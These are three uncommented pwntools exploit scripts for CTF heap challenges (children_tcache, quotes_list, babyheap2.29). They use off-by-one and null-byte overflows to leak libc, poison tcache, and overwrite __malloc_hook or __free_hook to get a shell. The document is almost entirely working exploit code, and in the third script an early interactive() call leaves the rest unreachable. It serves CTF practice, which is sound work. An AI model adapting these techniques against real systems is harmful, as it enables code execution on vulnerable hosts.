glibc2.29-off by one

from pwn import *

r = remote('node3.buuoj.cn',25603)
#r = process('./HITCON_2018_children_tcache')
elf = ELF('./HITCON_2018_children_tcache')
libc = ELF('/libc-2.27.so')

def add(size,data):
    r.sendlineafter('Your choice: ','1')
    r.sendlineafter('Size:',str(size))
    r.sendafter('Data:',data)

def show(index):
    r.sendlineafter('Your choice: ','2')
    r.sendlineafter('Index:',str(index))

def free(index):
    r.sendlineafter('Your choice:','3')
    r.sendlineafter('Index:',str(index))

add(0x420,'fuck')
add(0x78,'fuck')
add(0x4f0,'fuck')
add(0x20,'fuck')
free(1)
free(0)
for i in range(9):#fuck \xda
    add(0x78 - i, 'b' * (0x78 - i))
    free(0)
add(0x78,'b'*0x70+p64(0x4b0))#0
free(2)
add(0x420,'fuck')#1
show(0)
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak - 0x3ebca0
log.success(hex(libc_base))
add(0x78,'wdnmd')#2
free(0)
free(2)

one = libc_base + 0x4f322
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.success(hex(malloc_hook))
add(0x78,p64(malloc_hook))
add(0x78,'fuck')
add(0x78,p64(one))

r.sendlineafter('Your choice: ','1')
r.sendlineafter('Size:','233')
r.interactive()

from pwn import *
r = process(['/pwnlib/ld-2.29.so','--library-path','/pwnlib/','./quotes_list'])
libc = ELF('/pwnlib/libc.so.6')

def add(length,note):
     r.sendlineafter('> ','1')
     r.sendlineafter(': ',str(length))
     r.sendafter(': ',note)
def edit(index,note):
     r.sendlineafter('> ','2')
     r.sendlineafter(': ',str(index))
     r.sendafter(': ',note)
def show(index):
     r.sendlineafter('> ','3')
     r.sendlineafter(': ',str(index))
     r.recvuntil('Quote: ')

def free(index):
     r.sendlineafter('> ','4')
     r.sendlineafter(': ',str(index))

add(0x500,'fuck')
add(0x500,'fuck')
free(0)
add(0x500,'aaaaaaa\n')
show(0)
r.recvuntil('aaaaaaa\n')
libc_base = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))-libc.sym['__malloc_hook']-96-0x10
system = libc_base+libc.sym['system']
log.success(hex(libc_base))
free_hook = libc_base+libc.sym['__free_hook']
log.success(hex(free_hook))
free(0)
free(1)
free(2)


add(0x48,'fuck')#0

add(0x500,'fuck')#1
add(0x48,'fuck')#2
edit(0,'a'*0x48+'\x61')
free(1)

add(0x500,'fuck')#1
add(0x48,'fuck')#3 2
free(3)

edit(2,p64(free_hook))
add(0x48,'/bin/sh\x00')

add(0x48,p64(system))
free(3)

r.interactive()

from pwn import *

r = process('./babyheap2.29')
elf = ELF('./babyheap2.29')
libc = ELF('libc-2.29.so')

def add(size):
    r.sendlineafter('Command: ','1')
    r.sendlineafter('Size: ',str(size))

def edit(index,content):
    r.sendlineafter('Command: ','2')
    r.sendlineafter('Index: ',str(index))
    r.sendlineafter('Size: ',str(len(content)))
    r.sendafter('Content: ',content)

def free(index):
    r.sendlineafter('Command: ','3')
    r.sendlineafter('Index: ',str(index))

def show(index):
    r.sendlineafter('Command: ','4')
    r.sendlineafter('Index: ',str(index))


add(0x500)
add(0x40)
free(0)
add(0x500)
show(0)
r.recvuntil(']: ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8, '\x00'))
libc_base = leak - 0x1e4ca0
log.success(hex(libc_base))

add(0x40)
add(0x40)
free(1)
free(2)
add(0x40)#1
show(1)
r.recvuntil(']: ')
heap_base = u64(r.recvuntil('\n',drop=True).ljust(8, '\x00'))-0x770
log.success(hex(heap_base))


for i in range(13):
  add(0xf8)

free(2)
for i in range(4,10):
  free(i)


edit(11,'a'*0xf0 + p64(0x1f0))

fake = p64(0x0)+p64(0x1f1)+p64(heap_base+0xf60)+p64(heap_base+0xf60)
edit(10,fake)
r.interactive()

free(12)
add(0xe8)
for i in range(7):
    add(0xf8)
    log.info(r.recvline())
free(1)
add(0xf8)#1


free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

log.success(hex(free_hook))
free(4)
free(5)
free(6)

free(11)
edit(1,p64(free_hook))
add(0xf8)
add(0xf8)#5
log.info(r.recvline())
edit(5,p64(system))
edit(7,'/bin/sh\x00')
free(7)
r.interactive()